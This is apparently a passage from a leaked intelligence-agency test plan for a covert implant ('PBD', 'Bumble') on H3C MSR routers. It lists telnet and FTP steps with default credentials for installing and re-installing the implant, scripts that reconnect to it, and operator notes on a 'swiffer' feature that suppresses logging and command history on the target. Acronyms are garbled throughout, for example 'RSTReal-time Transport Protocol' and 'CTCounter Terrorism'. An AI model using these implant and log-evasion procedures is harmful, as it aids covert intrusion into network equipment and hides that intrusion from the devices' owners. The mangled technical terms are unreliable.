  14. Forensics Test - Inspect Netflow on SolarWinds
  15. Ad hoc test - ICON disconnected during PBD (patch) installation
    1. telnet 192.168.168.5  (admin/admin)
    2. ftp XXX.XXX.XXX.X (DNIC-RNET-192-100-100[US])  (administrator/password)

    3. ftp patch file to MSR.
      1. bin
      2. get patch.bin
      3. quit
    4. dir cfa0: !Confirm patch.bin was copied
    5. install activate patch cfa0:/patch.bin slot 0
      1. Before the patch completes, reboot the ICON VM.
    6. BUM-3
  16. Ad how test - Multiple reconnects to implant via CT
    1. This is related to BUM-5.  One time after disconnecting from a CTCounter Terrorism session, and then trying to reconnect an error occured.  continuously_reconnect_CT.exp was created to continuously connect to CT, wait 10 sec, disconnect, wait 10 sec, then repeat indefinitely.
    2. To setup the test, perform these steps:
      1. Start simulating delay on DelaySim VM: sudo ./set_delay.sh
      2. Open Atk Window 1, Ensure all tcpdump captures are closed. And then create a new capture:   sudo tcpdump -i eth0 -s 0 -w continuously_reconnect_CT.pcap
      3. Open Atk Window 2, and run the expect script which will continuously loop connecting then disconnecting:  sudo ./continuously_reconnect_CT.exp
      4. If you receive an error, the expect script should stop.  You will need to manually stop the pcap in Window 1 by pressing Ctrl-C.
  17. Reconfigured interface
    1. With implant installed, configure another gigabit interface.
    2. No observables
    3. Successfully tested with the following Bumble versions: 
      1. Bumble 3.0.0
  18. Install PBD when PBD is already installed
    1. Successfully tested with the following Bumble versions: 
      1. Bumble 3.1 Beta (10/7/2015 w/ latency)
  19. Re-attack after PBD already installed
    1. Reboot DUT, install implant, establish comms via CT, and run all tests:  date && sudo time ./reboot_target.exp && sudo ./install_and_run.sh
    2. Disconnect from CTCounter Terrorism session.
    3. Re-install implant and re-run all tests:  sudo ./install_and_run.sh
    4. Inspect 2nd round of test results to ensure tests were passed.  Only one instance of PBD is present.
    5. Successfully tested with the following Bumble versions: 
      1. Bumble 3.1 Beta (10/13/2015 w/ latency)
  20. Forensics Tests
    1. Inspect pcap
      1. UDP packets appear normal
      2. Most TCPTransport Control Protocol appears normal.
        1. Telnet connections cause a lot of red to appear, likely due to the unreliability of the connection (delay sim is running).  Telnet connections also receive a RSTReal-time Transport Protocol from the MSR periodically.  It seems the MSR (server) issues the RSTReal-time Transport Protocol packet to close the telnet session.
  21. Performance testing (IXIA)

 

  • Add IXIA ports directly to MSR.  Need to determine IPs to use (look at config).
  • Configure IXIA "hosts" to test connectivity to WWW1 and WWW2 (XXX.X.XXX.XXX (JUMPSTART-5[US]) & .112).
  • Backup MSR config
  • Copy off MSR f/w
  • Upload MSR f/w

 

Operator Notes

  • Do not use survey and redirection at the same time.
  • Disabling logging (using swiffer) will also disable logging for a target admin.
  • Commands execute while swiffer is enabled will not be removed from the history until swiffer is deactivated.  Info-Center will also be disabled as long as swiffer is active.
  • Add TP note about using Nmap with Score.
  • How do we clear a kernel exception log should one occur?
  • Once swiffer is stopped, it can not be restarted unless you re-install PBD.

 

 

ToDo:

ID Status Task
14 complete User #14587667 Delete default route on all routers (except MSR) after testbed complete (Not sure I should do this).  May just test redirection traversing an ACL.  Neighboring routers probably have routes back to the H3C, however secondary neighbors may not have routes back.  May be useful to re-configure testbed to have secondary routers that don't have routes back to H3C.  Deleted on all routers except 3845, 2811, and 2911
15 complete User #14587667 Get 2800 router from NDBNetwork Devices Branch Lab (R6/U27)
6 complete User #14587667 Put 1E1 HWIC in 2800 router
7 complete User #14587667 Setup SNMPSimple Network Management Protocol on solarwinds and configure MSR.
8 complete User #14587667 Setup loopbacks on MSR neighbor routes.  Use downstream IPs from MSR static routes.
5 complete User #14587667 Configure syslog server
3 complete User #14587667 Configure OSPFOpen Shortest Path First on MSR
10 complete User #14587667 Configure OSPFOpen Shortest Path First on Cisco (Grabe new router and use Gig int for OSPFOpen Shortest Path First - per target config).  Use IP 192.168.168.5/30 on MSR and 192.168.168.6 on Cisco.
0 complete User #14587667 Configure E1 links
11 complete User #14587667 Configure netstream on MSR interface to TRCore (in-/out-bound).
12 complete User #14587667 Configure netstream on MSR interface to 2911 (inbound).
13 complete User #14587667 Confirm netflow is being collect by SolarWinds
1 incomplete  

e-Highlighter

Click to send permalink to address bar, or right-click to copy permalink.

Un-highlight all Un-highlight selectionu Highlight selectionh